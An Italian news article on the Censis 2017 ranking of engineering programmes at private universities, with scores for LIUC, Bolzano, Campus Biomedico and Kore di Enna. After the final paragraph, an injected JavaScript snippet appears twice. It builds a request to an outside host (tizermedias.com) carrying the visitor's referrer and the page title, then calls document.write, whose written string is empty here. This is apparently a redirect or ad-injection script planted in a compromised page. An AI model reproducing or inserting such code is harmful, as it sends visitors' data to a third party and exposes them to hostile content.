classifica Censis area Ingegneria atenei privati 2017

Non ci sono sorprese nella classifica Censis area Ingegneria atenei privati 2017.  Anche quest’anno il primo posto se lo aggiudica la LIUC di Castellanza e tutte le altre posizioni restano invariate rispetto a dodici mesi fa. Questa particolare graduatoria considera i corsi di laurea triennale appartenenti alle classi di Ingegneria Civile e Ambientale (L-7), Ingegneria dell’Informazione (L-8) e Ingegneria Industriale (L-9) presenti nell’offerta formativa delle università non statali italiane, valutandoli sulla base di due indicatori: progressione di carriera e rapporti internazionali. La prima voce è relativa al tasso di regolarità negli studi degli iscritti e a quello di abbandono dopo il primo anno, mentre la seconda riguarda la mobilità studentesca in uscita e in ingresso.

Nella classifica Censis area Ingegneria atenei privati 2017 la LIUC ha totalizzato una media pari a 103,5 con un eccellente 110 su 110 per la progressione di carriera degli studenti e 97 punti per i rapporti internazionali. Il punteggio generale dell’ateneo lombardo è cresciuto rispetto all’anno scorso di 4 punti. Punteggio in ascesa (+5,5) anche per la Libera Università di Bolzano, che tallona la LIUC a solo un punto di distanza, avendo riportato una media di 102,5. Nonostante questo, l’ateneo altoatesino deve nuovamente accontentarsi del secondo posto. Nella classifica Censis area Ingegneria atenei privati 2017 Bolzano si è meritata 95 punti per la progressione di carriera e addirittura il voto massimo (110) per i rapporti internazionali.

Come da copione, il terzo gradino del podio della graduatoria va all’Università Campus Biomedico di Roma, il cui punteggio medio si ferma a 95,5 (-0,5 rispetto al 2016). Nonostante il brillante 109 che le è stato assegnato per la progressione di carriera, l’ateneo paga il non altrettanto ragguardevole 82 su 110, che il Censis ha ritenuto di doverle attribuire per i rapporti internazionali.

Chiude la classifica Censis area Ingegneria atenei privati 2017 l’Università “Kore” di Enna. L’ateneo siciliano è finito all’ultimo posto a causa di una media pari ad appena 73 punti. Un risultato notevolmente inferiore rispetto a quello della concorrenza e in discesa di 0,5 punti in confronto alla precedente edizione della graduatoria. A pesare sulla valutazione complessiva sono il 74 attribuitole la progressione di carriera dei propri studenti e il 72 andato all’internazionalizzazione.(function(){var d=document;var w=’240′;var h=’300′;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();(function(){var d=document;var w=’240′;var h=’300’;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();